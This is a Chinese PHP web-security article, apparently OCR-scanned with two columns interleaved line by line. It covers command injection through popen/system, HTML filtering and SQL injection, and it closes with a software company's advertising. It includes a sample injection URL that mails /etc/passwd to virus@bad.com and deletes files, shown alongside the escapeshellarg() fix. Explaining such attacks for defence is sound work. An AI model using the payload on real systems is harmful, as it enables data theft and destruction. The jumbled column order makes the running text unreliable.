网站建设中调用外部程序的解决方法
解决方法: (1) 在网站和 PHP 网页中明确设置字符默认
1. 3 调用外部程序
编码方式。HTML 4 中规定 ,如果不指定字符编码方式 ,所有
在 PHP 脚本程序中,有可能使用 system () ,exec () ,popen
的编码都是可能的,这样就无法判断哪些字符是“特殊”字符 ,
() ,passthru () 等函数调用外部程序。如果调用外部程序时,程
( )
当然也无法进行后续的处理。 2 对“特殊”字符进行分类、
序名或运行参数来自于用户的输入 ,那么这里就存在安全问
过滤。包括链接参数在内的每个输入字段都进行验证 ,并对
题。实际上 ,PHP 手册在以上函数的使用说明中,大都包括了
输入的数据类型进行强制转换。当发现非法输入时,根据上
这样的警告:“如果你允许用户输入作为参数传递给此函数 ,
下文来拒绝它 ,这样可以防止向用户提供恶意的 HTML 。若
那么你应使用 escapeshellarg() 和 escapeshellcmd () 函数来确保
没有必要提供 HTML 方式输入 ,可对用户提交的数据进行格
用户不会欺骗系统运行任意的命令。”
式转换 ,PHP 语言提供了一组函数 ,用于消除其中HTML 的标
假设在某邮件系统网页中有如下代码:
记 ,可将提交 的数据转化为简单文本。这些 函数包括
< ?php
htmlspecialchars() 、htmlentities() 、strip-tags() 、rawurlencode () 等。
( )
$fp = popen ’/ usr/ sbin/ sendmail - i ’ . $atten ,′w′;
?> 1. 5 SQL Injection 攻击
如果用户在浏览器中输入 网站为了能够提供动态的内容 ,大多使用了 SQL 数据库
( )
http :/ / test . com/ sendmail . php ? $atten = virus %40bad. com + %3C MSSQL ,MySQL ,ACCESS 系统。数据库和服务器交互过程中
( )
+ %2Fetc %2Fpasswd %3B + rm + %2A 的查询语言通常是“结构化查询语言 SQL ”。由于用户输入
则会运行如下两条命令: 检验不够严格和系统权限设置不当,将会导致网站遭到 SQL
/ usr/ sbin/ sendmail - i virus @bad. com Injection 攻击。SQL Injection 攻击主要是恶意用户利用查询语
/ etc/ passwd ; rm 句输入一些非法内容 ,以此来绕过登陆,或提升自己的访问权
而这两条命令运行的结果是将“/ etc/ passwd”文件发送到 限,从而获取网站敏感信息、破坏数据库和整个网站系统。因
virus @bad. com 并删除当前目录中的所有文件。 此 ,不能相信任何用户输入 ,不管是经表单提交的,还是从数
解决方法:上面 PHP 手册警告中已给出了解决此类问题 据库中获取的数据 ,只要动态生成了SQL 语句 ,就要确保输入
的方法 ,即使用 escapeshellarg () 等函数。escapeshellarg () 函数 的合法性 ,否则就有可能被 SQL Injection 攻击。
会在字符串两端加上引号 ,通过加引号和对现有的单引号进 我们结合 PHP 技术和MySQL 数据库系统 ,给出相关防范
行换码 ,字串就变成一个安全的参数 ,可直接传递给 shell 函 方法:
旗下_E网中国(#) ,专业做网站、网站建设。从事网络信息化建设应用,提供网站建设、网页设计、域名、空间租用、模板定制、平面设计、网络推广、搜索优化等服务等。
郑州亚龙软件有限公司(www.yeloon.com),从事网络、软件信息化建设应用,专注软件开发、软件定制、ERP系统、进销存管理系统、客户关系管理系统等服务。基于互联网络,我们为您提供全面的电子商务咨询与解决方案。
公司自主研发的产品有:ERP系统,客户关系管理(CRM)系统,进销存管理系统,学校收费管理系统。
地址: 郑州市东风路天明路交叉路口向东天明森林国际公寓1号楼6层
客服QQ: 3711121,999706,80031367
联系电话: 0371-55512385,55512365,88886548